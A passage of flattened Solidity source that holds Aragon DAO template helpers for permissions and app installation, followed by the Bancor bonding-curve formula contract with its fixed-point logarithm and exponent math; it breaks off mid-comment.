/** * @dev Create a DAO using the DAO Factory and grant the template root permissions so it has full * control during setup. Once the DAO setup has finished, it is recommended to call the * `_transferRootPermissionsFromTemplateAndFinalizeDAO()` helper to transfer the root * permissions to the end entity in control of the organization. */ function _createDAO() internal returns (Kernel dao, ACL acl) { dao = daoFactory.newDAO(this); emit DeployDao(address(dao)); acl = ACL(dao.acl()); _createPermissionForTemplate(acl, dao, dao.APP_MANAGER_ROLE()); } /* ACL */ function _createPermissions(ACL _acl, address[] memory _grantees, address _app, bytes32 _permission, address _manager) internal { _acl.createPermission(_grantees[0], _app, _permission, address(this)); for (uint256 i = 1; i < _grantees.length; i++) { _acl.grantPermission(_grantees[i], _app, _permission); } _acl.revokePermission(address(this), _app, _permission); _acl.setPermissionManager(_manager, _app, _permission); } function _createPermissionForTemplate(ACL _acl, address _app, bytes32 _permission) internal { _acl.createPermission(address(this), _app, _permission, address(this)); } function _removePermissionFromTemplate(ACL _acl, address _app, bytes32 _permission) internal { _acl.revokePermission(address(this), _app, _permission); _acl.removePermissionManager(_app, _permission); } function _transferRootPermissionsFromTemplateAndFinalizeDAO(Kernel _dao, address _to) internal { _transferRootPermissionsFromTemplateAndFinalizeDAO(_dao, _to, _to); } function _transferRootPermissionsFromTemplateAndFinalizeDAO(Kernel _dao, address _to, address _manager) internal { ACL _acl = ACL(_dao.acl()); _transferPermissionFromTemplate(_acl, _dao, _to, _dao.APP_MANAGER_ROLE(), _manager); _transferPermissionFromTemplate(_acl, _acl, _to, _acl.CREATE_PERMISSIONS_ROLE(), _manager); emit SetupDao(_dao); } function _transferPermissionFromTemplate(ACL _acl, address _app, address _to, bytes32 _permission, address _manager) internal { _acl.grantPermission(_to, _app, _permission); _acl.revokePermission(address(this), _app, _permission); _acl.setPermissionManager(_manager, _app, _permission); } /* AGENT */ function _installDefaultAgentApp(Kernel _dao) internal returns (Agent) { bytes memory initializeData = abi.encodeWithSelector(Agent(0).initialize.selector); Agent agent = Agent(_installDefaultApp(_dao, AGENT_APP_ID, initializeData)); // We assume that installing the Agent app as a default app means the DAO should have its // Vault replaced by the Agent. Thus, we also set the DAO's recovery app to the Agent. _dao.setRecoveryVaultAppId(AGENT_APP_ID); return agent; } function _installNonDefaultAgentApp(Kernel _dao) internal returns (Agent) { bytes memory initializeData = abi.encodeWithSelector(Agent(0).initialize.selector); return Agent(_installNonDefaultApp(_dao, AGENT_APP_ID, initializeData)); } function _createAgentPermissions(ACL _acl, Agent _agent, address _grantee, address _manager) internal { _acl.createPermission(_grantee, _agent, _agent.EXECUTE_ROLE(), _manager); _acl.createPermission(_grantee, _agent, _agent.RUN_SCRIPT_ROLE(), _manager); } /* VAULT */ function _installVaultApp(Kernel _dao) internal returns (Vault) { bytes memory initializeData = abi.encodeWithSelector(Vault(0).initialize.selector); return Vault(_installDefaultApp(_dao, VAULT_APP_ID, initializeData)); } function _createVaultPermissions(ACL _acl, Vault _vault, address _grantee, address _manager) internal { _acl.createPermission(_grantee, _vault, _vault.TRANSFER_ROLE(), _manager); } /* VOTING */ function _installVotingApp(Kernel _dao, MiniMeToken _token, uint64[3] memory _votingSettings) internal returns (Voting) { return _installVotingApp(_dao, _token, _votingSettings[0], _votingSettings[1], _votingSettings[2]); } function _installVotingApp( Kernel _dao, MiniMeToken _token, uint64 _support, uint64 _acceptance, uint64 _duration ) internal returns (Voting) { bytes memory initializeData = abi.encodeWithSelector(Voting(0).initialize.selector, _token, _support, _acceptance, _duration); return Voting(_installNonDefaultApp(_dao, VOTING_APP_ID, initializeData)); } function _createVotingPermissions( ACL _acl, Voting _voting, address _settingsGrantee, address _createVotesGrantee, address _manager ) internal { _acl.createPermission(_settingsGrantee, _voting, _voting.MODIFY_QUORUM_ROLE(), _manager); _acl.createPermission(_settingsGrantee, _voting, _voting.MODIFY_SUPPORT_ROLE(), _manager); _acl.createPermission(_createVotesGrantee, _voting, _voting.CREATE_VOTES_ROLE(), _manager); } /* SURVEY */ function _installSurveyApp(Kernel _dao, MiniMeToken _token, uint64 _minParticipationPct, uint64 _surveyTime) internal returns (Survey) { bytes memory initializeData = abi.encodeWithSelector(Survey(0).initialize.selector, _token, _minParticipationPct, _surveyTime); return Survey(_installNonDefaultApp(_dao, SURVEY_APP_ID, initializeData)); } function _createSurveyPermissions(ACL _acl, Survey _survey, address _grantee, address _manager) internal { _acl.createPermission(_grantee, _survey, _survey.CREATE_SURVEYS_ROLE(), _manager); _acl.createPermission(_grantee, _survey, _survey.MODIFY_PARTICIPATION_ROLE(), _manager); } /* PAYROLL */ function _installPayrollApp( Kernel _dao, Finance _finance, address _denominationToken, IFeed _priceFeed, uint64 _rateExpiryTime ) internal returns (Payroll) { bytes memory initializeData = abi.encodeWithSelector( Payroll(0).initialize.selector, _finance, _denominationToken, _priceFeed, _rateExpiryTime ); return Payroll(_installNonDefaultApp(_dao, PAYROLL_APP_ID, initializeData)); } /** * @dev Internal function to configure payroll permissions. Note that we allow defining different managers for * payroll since it may be useful to have one control the payroll settings (rate expiration, price feed, * and allowed tokens), and another one to control the employee functionality (bonuses, salaries, * reimbursements, employees, etc). * @param _acl ACL instance being configured * @param _acl Payroll app being configured * @param _employeeManager Address that will receive permissions to handle employee payroll functionality * @param _settingsManager Address that will receive permissions to manage payroll settings * @param _permissionsManager Address that will be the ACL manager for the payroll permissions */ function _createPayrollPermissions( ACL _acl, Payroll _payroll, address _employeeManager, address _settingsManager, address _permissionsManager ) internal { _acl.createPermission(_employeeManager, _payroll, _payroll.ADD_BONUS_ROLE(), _permissionsManager); _acl.createPermission(_employeeManager, _payroll, _payroll.ADD_EMPLOYEE_ROLE(), _permissionsManager); _acl.createPermission(_employeeManager, _payroll, _payroll.ADD_REIMBURSEMENT_ROLE(), _permissionsManager); _acl.createPermission(_employeeManager, _payroll, _payroll.TERMINATE_EMPLOYEE_ROLE(), _permissionsManager); _acl.createPermission(_employeeManager, _payroll, _payroll.SET_EMPLOYEE_SALARY_ROLE(), _permissionsManager); _acl.createPermission(_settingsManager, _payroll, _payroll.MODIFY_PRICE_FEED_ROLE(), _permissionsManager); _acl.createPermission(_settingsManager, _payroll, _payroll.MODIFY_RATE_EXPIRY_ROLE(), _permissionsManager); _acl.createPermission(_settingsManager, _payroll, _payroll.MANAGE_ALLOWED_TOKENS_ROLE(), _permissionsManager); } function _unwrapPayrollSettings( uint256[4] memory _payrollSettings ) internal pure returns (address denominationToken, IFeed priceFeed, uint64 rateExpiryTime, address employeeManager) { denominationToken = _toAddress(_payrollSettings[0]); priceFeed = IFeed(_toAddress(_payrollSettings[1])); rateExpiryTime = _payrollSettings[2].toUint64(); employeeManager = _toAddress(_payrollSettings[3]); } /* FINANCE */ function _installFinanceApp(Kernel _dao, Vault _vault, uint64 _periodDuration) internal returns (Finance) { bytes memory initializeData = abi.encodeWithSelector(Finance(0).initialize.selector, _vault, _periodDuration); return Finance(_installNonDefaultApp(_dao, FINANCE_APP_ID, initializeData)); } function _createFinancePermissions(ACL _acl, Finance _finance, address _grantee, address _manager) internal { _acl.createPermission(_grantee, _finance, _finance.EXECUTE_PAYMENTS_ROLE(), _manager); _acl.createPermission(_grantee, _finance, _finance.MANAGE_PAYMENTS_ROLE(), _manager); } function _createFinanceCreatePaymentsPermission(ACL _acl, Finance _finance, address _grantee, address _manager) internal { _acl.createPermission(_grantee, _finance, _finance.CREATE_PAYMENTS_ROLE(), _manager); } function _grantCreatePaymentPermission(ACL _acl, Finance _finance, address _to) internal { _acl.grantPermission(_to, _finance, _finance.CREATE_PAYMENTS_ROLE()); } function _transferCreatePaymentManagerFromTemplate(ACL _acl, Finance _finance, address _manager) internal { _acl.setPermissionManager(_manager, _finance, _finance.CREATE_PAYMENTS_ROLE()); } /* TOKEN MANAGER */ function _installTokenManagerApp( Kernel _dao, MiniMeToken _token, bool _transferable, uint256 _maxAccountTokens ) internal returns (TokenManager) { TokenManager tokenManager = TokenManager(_installNonDefaultApp(_dao, TOKEN_MANAGER_APP_ID)); _token.changeController(tokenManager); tokenManager.initialize(_token, _transferable, _maxAccountTokens); return tokenManager; } function _createTokenManagerPermissions(ACL _acl, TokenManager _tokenManager, address _grantee, address _manager) internal { _acl.createPermission(_grantee, _tokenManager, _tokenManager.MINT_ROLE(), _manager); _acl.createPermission(_grantee, _tokenManager, _tokenManager.BURN_ROLE(), _manager); } function _mintTokens(ACL _acl, TokenManager _tokenManager, address[] memory _holders, uint256[] memory _stakes) internal { _createPermissionForTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE()); for (uint256 i = 0; i < _holders.length; i++) { _tokenManager.mint(_holders[i], _stakes[i]); } _removePermissionFromTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE()); } function _mintTokens(ACL _acl, TokenManager _tokenManager, address[] memory _holders, uint256 _stake) internal { _createPermissionForTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE()); for (uint256 i = 0; i < _holders.length; i++) { _tokenManager.mint(_holders[i], _stake); } _removePermissionFromTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE()); } function _mintTokens(ACL _acl, TokenManager _tokenManager, address _holder, uint256 _stake) internal { _createPermissionForTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE()); _tokenManager.mint(_holder, _stake); _removePermissionFromTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE()); } /* EVM SCRIPTS */ function _createEvmScriptsRegistryPermissions(ACL _acl, address _grantee, address _manager) internal { EVMScriptRegistry registry = EVMScriptRegistry(_acl.getEVMScriptRegistry()); _acl.createPermission(_grantee, registry, registry.REGISTRY_MANAGER_ROLE(), _manager); _acl.createPermission(_grantee, registry, registry.REGISTRY_ADD_EXECUTOR_ROLE(), _manager); } /* APPS */ function _installNonDefaultApp(Kernel _dao, bytes32 _appId) internal returns (address) { return _installNonDefaultApp(_dao, _appId, new bytes(0)); } function _installNonDefaultApp(Kernel _dao, bytes32 _appId, bytes memory _initializeData) internal returns (address) { return _installApp(_dao, _appId, _initializeData, false); } function _installDefaultApp(Kernel _dao, bytes32 _appId) internal returns (address) { return _installDefaultApp(_dao, _appId, new bytes(0)); } function _installDefaultApp(Kernel _dao, bytes32 _appId, bytes memory _initializeData) internal returns (address) { return _installApp(_dao, _appId, _initializeData, true); } function _installApp(Kernel _dao, bytes32 _appId, bytes memory _initializeData, bool _setDefault) internal returns (address) { address latestBaseAppAddress = _latestVersionAppBase(_appId); address instance = address(_dao.newAppInstance(_appId, latestBaseAppAddress, _initializeData, _setDefault)); emit InstalledApp(instance, _appId); return instance; } function _latestVersionAppBase(bytes32 _appId) internal view returns (address base) { Repo repo = Repo(PublicResolver(ens.resolver(_appId)).addr(_appId)); (,base,) = repo.getLatest(); } /* TOKEN */ function _createToken(string memory _name, string memory _symbol, uint8 _decimals) internal returns (MiniMeToken) { require(address(miniMeFactory) != address(0), ERROR_MINIME_FACTORY_NOT_PROVIDED); MiniMeToken token = miniMeFactory.createCloneToken(MiniMeToken(address(0)), 0, _name, _decimals, _symbol, true); emit DeployToken(address(token)); return token; } function _ensureMiniMeFactoryIsValid(address _miniMeFactory) internal view { require(isContract(address(_miniMeFactory)), ERROR_MINIME_FACTORY_NOT_CONTRACT); } /* IDS */ function _validateId(string memory _id) internal pure { require(bytes(_id).length > 0, ERROR_INVALID_ID); } function _registerID(string memory _name, address _owner) internal { require(address(aragonID) != address(0), ERROR_ARAGON_ID_NOT_PROVIDED); aragonID.register(keccak256(abi.encodePacked(_name)), _owner); } function _ensureAragonIdIsValid(address _aragonID) internal view { require(isContract(address(_aragonID)), ERROR_ARAGON_ID_NOT_CONTRACT); } /* HELPERS */ function _toAddress(uint256 _value) private pure returns (address) { require(_value <= uint160(-1), ERROR_CANNOT_CAST_VALUE_TO_ADDRESS); return address(_value); } } // File: @ablack/fundraising-bancor-formula/contracts/interfaces/IBancorFormula.sol pragma solidity 0.4.24; /* Bancor Formula interface */ contract IBancorFormula { function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) public view returns (uint256); function calculateSaleReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) public view returns (uint256); function calculateCrossConnectorReturn(uint256 _fromConnectorBalance, uint32 _fromConnectorWeight, uint256 _toConnectorBalance, uint32 _toConnectorWeight, uint256 _amount) public view returns (uint256); } // File: @ablack/fundraising-bancor-formula/contracts/utility/Utils.sol pragma solidity 0.4.24; /* Utilities & Common Modifiers */ contract Utils { /** constructor */ constructor() public { } // verifies that an amount is greater than zero modifier greaterThanZero(uint256 _amount) { require(_amount > 0); _; } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { require(_address != address(0)); _; } // verifies that the address is different than this contract address modifier notThis(address _address) { require(_address != address(this)); _; } } // File: @ablack/fundraising-bancor-formula/contracts/BancorFormula.sol pragma solidity 0.4.24; contract BancorFormula is IBancorFormula, Utils { using SafeMath for uint256; string public version = '0.3'; uint256 private constant ONE = 1; uint32 private constant MAX_WEIGHT = 1000000; uint8 private constant MIN_PRECISION = 32; uint8 private constant MAX_PRECISION = 127; /** Auto-generated via 'PrintIntScalingFactors.py' */ uint256 private constant FIXED_1 = 0x080000000000000000000000000000000; uint256 private constant FIXED_2 = 0x100000000000000000000000000000000; uint256 private constant MAX_NUM = 0x200000000000000000000000000000000; /** Auto-generated via 'PrintLn2ScalingFactors.py' */ uint256 private constant LN2_NUMERATOR = 0x3f80fe03f80fe03f80fe03f80fe03f8; uint256 private constant LN2_DENOMINATOR = 0x5b9de1d10bf4103d647b0955897ba80; /** Auto-generated via 'PrintFunctionOptimalLog.py' and 'PrintFunctionOptimalExp.py' */ uint256 private constant OPT_LOG_MAX_VAL = 0x15bf0a8b1457695355fb8ac404e7a79e3; uint256 private constant OPT_EXP_MAX_VAL = 0x800000000000000000000000000000000; /** Auto-generated via 'PrintFunctionConstructor.py' */ uint256[128] private maxExpArray; constructor() public { // maxExpArray[ 0] = 0x6bffffffffffffffffffffffffffffffff; // maxExpArray[ 1] = 0x67ffffffffffffffffffffffffffffffff; // maxExpArray[ 2] = 0x637fffffffffffffffffffffffffffffff; // maxExpArray[ 3] = 0x5f6fffffffffffffffffffffffffffffff; // maxExpArray[ 4] = 0x5b77ffffffffffffffffffffffffffffff; // maxExpArray[ 5] = 0x57b3ffffffffffffffffffffffffffffff; // maxExpArray[ 6] = 0x5419ffffffffffffffffffffffffffffff; // maxExpArray[ 7] = 0x50a2ffffffffffffffffffffffffffffff; // maxExpArray[ 8] = 0x4d517fffffffffffffffffffffffffffff; // maxExpArray[ 9] = 0x4a233fffffffffffffffffffffffffffff; // maxExpArray[ 10] = 0x47165fffffffffffffffffffffffffffff; // maxExpArray[ 11] = 0x4429afffffffffffffffffffffffffffff; // maxExpArray[ 12] = 0x415bc7ffffffffffffffffffffffffffff; // maxExpArray[ 13] = 0x3eab73ffffffffffffffffffffffffffff; // maxExpArray[ 14] = 0x3c1771ffffffffffffffffffffffffffff; // maxExpArray[ 15] = 0x399e96ffffffffffffffffffffffffffff; // maxExpArray[ 16] = 0x373fc47fffffffffffffffffffffffffff; // maxExpArray[ 17] = 0x34f9e8ffffffffffffffffffffffffffff; // maxExpArray[ 18] = 0x32cbfd5fffffffffffffffffffffffffff; // maxExpArray[ 19] = 0x30b5057fffffffffffffffffffffffffff; // maxExpArray[ 20] = 0x2eb40f9fffffffffffffffffffffffffff; // maxExpArray[ 21] = 0x2cc8340fffffffffffffffffffffffffff; // maxExpArray[ 22] = 0x2af09481ffffffffffffffffffffffffff; // maxExpArray[ 23] = 0x292c5bddffffffffffffffffffffffffff; // maxExpArray[ 24] = 0x277abdcdffffffffffffffffffffffffff; // maxExpArray[ 25] = 0x25daf6657fffffffffffffffffffffffff; // maxExpArray[ 26] = 0x244c49c65fffffffffffffffffffffffff; // maxExpArray[ 27] = 0x22ce03cd5fffffffffffffffffffffffff; // maxExpArray[ 28] = 0x215f77c047ffffffffffffffffffffffff; // maxExpArray[ 29] = 0x1fffffffffffffffffffffffffffffffff; // maxExpArray[ 30] = 0x1eaefdbdabffffffffffffffffffffffff; // maxExpArray[ 31] = 0x1d6bd8b2ebffffffffffffffffffffffff; maxExpArray[ 32] = 0x1c35fedd14ffffffffffffffffffffffff; maxExpArray[ 33] = 0x1b0ce43b323fffffffffffffffffffffff; maxExpArray[ 34] = 0x19f0028ec1ffffffffffffffffffffffff; maxExpArray[ 35] = 0x18ded91f0e7fffffffffffffffffffffff; maxExpArray[ 36] = 0x17d8ec7f0417ffffffffffffffffffffff; maxExpArray[ 37] = 0x16ddc6556cdbffffffffffffffffffffff; maxExpArray[ 38] = 0x15ecf52776a1ffffffffffffffffffffff; maxExpArray[ 39] = 0x15060c256cb2ffffffffffffffffffffff; maxExpArray[ 40] = 0x1428a2f98d72ffffffffffffffffffffff; maxExpArray[ 41] = 0x13545598e5c23fffffffffffffffffffff; maxExpArray[ 42] = 0x1288c4161ce1dfffffffffffffffffffff; maxExpArray[ 43] = 0x11c592761c666fffffffffffffffffffff; maxExpArray[ 44] = 0x110a688680a757ffffffffffffffffffff; maxExpArray[ 45] = 0x1056f1b5bedf77ffffffffffffffffffff; maxExpArray[ 46] = 0x0faadceceeff8bffffffffffffffffffff; maxExpArray[ 47] = 0x0f05dc6b27edadffffffffffffffffffff; maxExpArray[ 48] = 0x0e67a5a25da4107fffffffffffffffffff; maxExpArray[ 49] = 0x0dcff115b14eedffffffffffffffffffff; maxExpArray[ 50] = 0x0d3e7a392431239fffffffffffffffffff; maxExpArray[ 51] = 0x0cb2ff529eb71e4fffffffffffffffffff; maxExpArray[ 52] = 0x0c2d415c3db974afffffffffffffffffff; maxExpArray[ 53] = 0x0bad03e7d883f69bffffffffffffffffff; maxExpArray[ 54] = 0x0b320d03b2c343d5ffffffffffffffffff; maxExpArray[ 55] = 0x0abc25204e02828dffffffffffffffffff; maxExpArray[ 56] = 0x0a4b16f74ee4bb207fffffffffffffffff; maxExpArray[ 57] = 0x09deaf736ac1f569ffffffffffffffffff; maxExpArray[ 58] = 0x0976bd9952c7aa957fffffffffffffffff; maxExpArray[ 59] = 0x09131271922eaa606fffffffffffffffff; maxExpArray[ 60] = 0x08b380f3558668c46fffffffffffffffff; maxExpArray[ 61] = 0x0857ddf0117efa215bffffffffffffffff; maxExpArray[ 62] = 0x07ffffffffffffffffffffffffffffffff; maxExpArray[ 63] = 0x07abbf6f6abb9d087fffffffffffffffff; maxExpArray[ 64] = 0x075af62cbac95f7dfa7fffffffffffffff; maxExpArray[ 65] = 0x070d7fb7452e187ac13fffffffffffffff; maxExpArray[ 66] = 0x06c3390ecc8af379295fffffffffffffff; maxExpArray[ 67] = 0x067c00a3b07ffc01fd6fffffffffffffff; maxExpArray[ 68] = 0x0637b647c39cbb9d3d27ffffffffffffff; maxExpArray[ 69] = 0x05f63b1fc104dbd39587ffffffffffffff; maxExpArray[ 70] = 0x05b771955b36e12f7235ffffffffffffff; maxExpArray[ 71] = 0x057b3d49dda84556d6f6ffffffffffffff; maxExpArray[ 72] = 0x054183095b2c8ececf30ffffffffffffff; maxExpArray[ 73] = 0x050a28be635ca2b888f77fffffffffffff; maxExpArray[ 74] = 0x04d5156639708c9db33c3fffffffffffff; maxExpArray[ 75] = 0x04a23105873875bd52dfdfffffffffffff; maxExpArray[ 76] = 0x0471649d87199aa990756fffffffffffff; maxExpArray[ 77] = 0x04429a21a029d4c1457cfbffffffffffff; maxExpArray[ 78] = 0x0415bc6d6fb7dd71af2cb3ffffffffffff; maxExpArray[ 79] = 0x03eab73b3bbfe282243ce1ffffffffffff; maxExpArray[ 80] = 0x03c1771ac9fb6b4c18e229ffffffffffff; maxExpArray[ 81] = 0x0399e96897690418f785257fffffffffff; maxExpArray[ 82] = 0x0373fc456c53bb779bf0ea9fffffffffff; maxExpArray[ 83] = 0x034f9e8e490c48e67e6ab8bfffffffffff; maxExpArray[ 84] = 0x032cbfd4a7adc790560b3337ffffffffff; maxExpArray[ 85] = 0x030b50570f6e5d2acca94613ffffffffff; maxExpArray[ 86] = 0x02eb40f9f620fda6b56c2861ffffffffff; maxExpArray[ 87] = 0x02cc8340ecb0d0f520a6af58ffffffffff; maxExpArray[ 88] = 0x02af09481380a0a35cf1ba02ffffffffff; maxExpArray[ 89] = 0x0292c5bdd3b92ec810287b1b3fffffffff; maxExpArray[ 90] = 0x0277abdcdab07d5a77ac6d6b9fffffffff; maxExpArray[ 91] = 0x025daf6654b1eaa55fd64df5efffffffff; maxExpArray[ 92] = 0x0244c49c648baa98192dce88b7ffffffff; maxExpArray[ 93] = 0x022ce03cd5619a311b2471268bffffffff; maxExpArray[ 94] = 0x0215f77c045fbe885654a44a0fffffffff; maxExpArray[ 95] = 0x01ffffffffffffffffffffffffffffffff; maxExpArray[ 96] = 0x01eaefdbdaaee7421fc4d3ede5ffffffff; maxExpArray[ 97] = 0x01d6bd8b2eb257df7e8ca57b09bfffffff; maxExpArray[ 98] = 0x01c35fedd14b861eb0443f7f133fffffff; maxExpArray[ 99] = 0x01b0ce43b322bcde4a56e8ada5afffffff; maxExpArray[100] = 0x019f0028ec1fff007f5a195a39dfffffff; maxExpArray[101] = 0x018ded91f0e72ee74f49b15ba527ffffff; maxExpArray[102] = 0x017d8ec7f04136f4e5615fd41a63ffffff; maxExpArray[103] = 0x016ddc6556cdb84bdc8d12d22e6fffffff; maxExpArray[104] = 0x015ecf52776a1155b5bd8395814f7fffff; maxExpArray[105] = 0x015060c256cb23b3b3cc3754cf40ffffff; maxExpArray[106] = 0x01428a2f98d728ae223ddab715be3fffff; maxExpArray[107] = 0x013545598e5c23276ccf0ede68034fffff; maxExpArray[108] = 0x01288c4161ce1d6f54b7f61081194fffff; maxExpArray[109] = 0x011c592761c666aa641d5a01a40f17ffff; maxExpArray[110] = 0x0110a688680a7530515f3e6e6cfdcdffff; maxExpArray[111] = 0x01056f1b5bedf75c6bcb2ce8aed428ffff; maxExpArray[112] = 0x00faadceceeff8a0890f3875f008277fff; maxExpArray[113] = 0x00f05dc6b27edad306388a600f6ba0bfff; maxExpArray[114] = 0x00e67a5a25da41063de1495d5b18cdbfff; maxExpArray[115] = 0x00dcff115b14eedde6fc3aa5353f2e4fff; maxExpArray[116] = 0x00d3e7a3924312399f9aae2e0f868f8fff; maxExpArray[117] = 0x00cb2ff529eb71e41582cccd5a1ee26fff; maxExpArray[118] = 0x00c2d415c3db974ab32a51840c0b67edff; maxExpArray[119] = 0x00bad03e7d883f69ad5b0a186184e06bff; maxExpArray[120] = 0x00b320d03b2c343d4829abd6075f0cc5ff; maxExpArray[121] = 0x00abc25204e02828d73c6e80bcdb1a95bf; maxExpArray[122] = 0x00a4b16f74ee4bb2040a1ec6c15fbbf2df; maxExpArray[123] = 0x009deaf736ac1f569deb1b5ae3f36c130f; maxExpArray[124] = 0x00976bd9952c7aa957f5937d790ef65037; maxExpArray[125] = 0x009131271922eaa6064b73a22d0bd4f2bf; maxExpArray[126] = 0x008b380f3558668c46c91c49a2f8e967b9; maxExpArray[127] = 0x00857ddf0117efa215952912839f6473e6; } /** @dev given a token supply, connector balance, weight and a deposit amount (in the connector token), calculates the return for a given conversion (in the main token) Formula: Return = _supply * ((1 + _depositAmount / _connectorBalance) ^ (_connectorWeight / 1000000) - 1) @param _supply token total supply @param _connectorBalance total connector balance @param _connectorWeight connector weight, represented in ppm, 1-1000000 @param _depositAmount deposit amount, in connector token @return purchase return amount */ function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) public view returns (uint256) { // validate input require(_supply > 0 && _connectorBalance > 0 && _connectorWeight > 0 && _connectorWeight <= MAX_WEIGHT); // special case for 0 deposit amount if (_depositAmount == 0) return 0; // special case if the weight = 100% if (_connectorWeight == MAX_WEIGHT) return _supply.mul(_depositAmount) / _connectorBalance; uint256 result; uint8 precision; uint256 baseN = _depositAmount.add(_connectorBalance); (result, precision) = power(baseN, _connectorBalance, _connectorWeight, MAX_WEIGHT); uint256 temp = _supply.mul(result) >> precision; return temp - _supply; } /** @dev given a token supply, connector balance, weight and a sell amount (in the main token), calculates the return for a given conversion (in the connector token) Formula: Return = _connectorBalance * (1 - (1 - _sellAmount / _supply) ^ (1 / (_connectorWeight / 1000000))) @param _supply token total supply @param _connectorBalance total connector @param _connectorWeight constant connector Weight, represented in ppm, 1-1000000 @param _sellAmount sell amount, in the token itself @return sale return amount */ function calculateSaleReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) public view returns (uint256) { // validate input require(_supply > 0 && _connectorBalance > 0 && _connectorWeight > 0 && _connectorWeight <= MAX_WEIGHT && _sellAmount <= _supply); // special case for 0 sell amount if (_sellAmount == 0) return 0; // special case for selling the entire supply if (_sellAmount == _supply) return _connectorBalance; // special case if the weight = 100% if (_connectorWeight == MAX_WEIGHT) return _connectorBalance.mul(_sellAmount) / _supply; uint256 result; uint8 precision; uint256 baseD = _supply - _sellAmount; (result, precision) = power(_supply, baseD, MAX_WEIGHT, _connectorWeight); uint256 temp1 = _connectorBalance.mul(result); uint256 temp2 = _connectorBalance << precision; return (temp1 - temp2) / result; } /** @dev given two connector balances/weights and a sell amount (in the first connector token), calculates the return for a conversion from the first connector token to the second connector token (in the second connector token) Formula: Return = _toConnectorBalance * (1 - (_fromConnectorBalance / (_fromConnectorBalance + _amount)) ^ (_fromConnectorWeight / _toConnectorWeight)) @param _fromConnectorBalance input connector balance @param _fromConnectorWeight input connector weight, represented in ppm, 1-1000000 @param _toConnectorBalance output connector balance @param _toConnectorWeight output connector weight, represented in ppm, 1-1000000 @param _amount input connector amount @return second connector amount */ function calculateCrossConnectorReturn(uint256 _fromConnectorBalance, uint32 _fromConnectorWeight, uint256 _toConnectorBalance, uint32 _toConnectorWeight, uint256 _amount) public view returns (uint256) { // validate input require(_fromConnectorBalance > 0 && _fromConnectorWeight > 0 && _fromConnectorWeight <= MAX_WEIGHT && _toConnectorBalance > 0 && _toConnectorWeight > 0 && _toConnectorWeight <= MAX_WEIGHT); // special case for equal weights if (_fromConnectorWeight == _toConnectorWeight) return _toConnectorBalance.mul(_amount) / _fromConnectorBalance.add(_amount); uint256 result; uint8 precision; uint256 baseN = _fromConnectorBalance.add(_amount); (result, precision) = power(baseN, _fromConnectorBalance, _fromConnectorWeight, _toConnectorWeight); uint256 temp1 = _toConnectorBalance.mul(result); uint256 temp2 = _toConnectorBalance << precision; return (temp1 - temp2) / result; } /** General Description: Determine a value of precision. Calculate an integer approximation of (_baseN / _baseD) ^ (_expN / _expD) * 2 ^ precision. Return the result along with the precision used. Detailed Description: Instead of calculating "base ^ exp", we calculate "e ^ (log(base) * exp)". The value of "log(base)" is represented with an integer slightly smaller than "log(base) * 2 ^ precision". The larger "precision" is, the more accurately this value represents the real value. However, the larger "precision" is, the more bits are required in order to store this value. And the exponentiation function, which takes "x" and calculates "e ^ x", is limited to a maximum exponent (maximum value of "x"). This maximum exponent depends on the "precision" used, and it is given by "maxExpArray[precision] >> (MAX_PRECISION - precision)". Hence we need to determine the highest precision which can be used for the given input, before calling the exponentiation function. This allows us to compute "base ^ exp" with maximum accuracy and without exceeding 256 bits in any of the intermediate computations. This functions assumes that "_expN < 2 ^ 256 / log(MAX_NUM - 1)", otherwise the multiplication should be replaced with a "safeMul". */ function power(uint256 _baseN, uint256 _baseD, uint32 _expN, uint32 _expD) internal view returns (uint256, uint8) { require(_baseN < MAX_NUM); uint256 baseLog; uint256 base = _baseN * FIXED_1 / _baseD; if (base < OPT_LOG_MAX_VAL) { baseLog = optimalLog(base); } else { baseLog = generalLog(base); } uint256 baseLogTimesExp = baseLog * _expN / _expD; if (baseLogTimesExp < OPT_EXP_MAX_VAL) { return (optimalExp(baseLogTimesExp), MAX_PRECISION); } else { uint8 precision = findPositionInMaxExpArray(baseLogTimesExp); return (generalExp(baseLogTimesExp >> (MAX_PRECISION - precision), precision), precision); } } /** Compute log(x / FIXED_1) * FIXED_1. This functions assumes that "x >= FIXED_1", because the output would be negative otherwise. */ function generalLog(uint256 x) internal pure returns (uint256) { uint256 res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = MAX_PRECISION; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += ONE << (i - 1); } } } return res * LN2_NUMERATOR / LN2_DENOMINATOR; } /** Compute the largest integer smaller than or equal to the binary logarithm of the input. */ function floorLog2(uint256 _n) internal pure returns (uint8) { uint8 res = 0; if (_n < 256) { // At most 8 iterations while (_n > 1) { _n >>= 1; res += 1; } } else { // Exactly 8 iterations for (uint8 s = 128; s > 0; s >>= 1) { if (_n >= (ONE << s)) { _n >>= s; res |= s; } } } return res; } /** The global "maxExpArray" is sorted in descending order, and therefore the following statements are equivalent: - This function finds the position of [the smallest value in "maxExpArray" larger than or equal to "x"] - This function finds the highest position of [a value in "maxExpArray" larger than or equal to "x"] */ function findPositionInMaxExpArray(uint256 _x) internal view returns (uint8) { uint8 lo = MIN_PRECISION; uint8 hi = MAX_PRECISION; while (lo + 1 < hi) { uint8 mid = (lo + hi) / 2; if (maxExpArray[mid] >= _x) lo = mid; else hi = mid; } if (maxExpArray[hi] >= _x) return hi; if (maxExpArray[lo] >= _x) return lo; require(false); return 0; } /** This function can be auto-generated by the script 'PrintFunctionGeneralExp.py'. It approximates "e ^ x" via maclaurin summation: "(x^0)/0! + (x^1)/1! + ... + (x^n)/n!". It returns "e ^ (x / 2 ^ precision) * 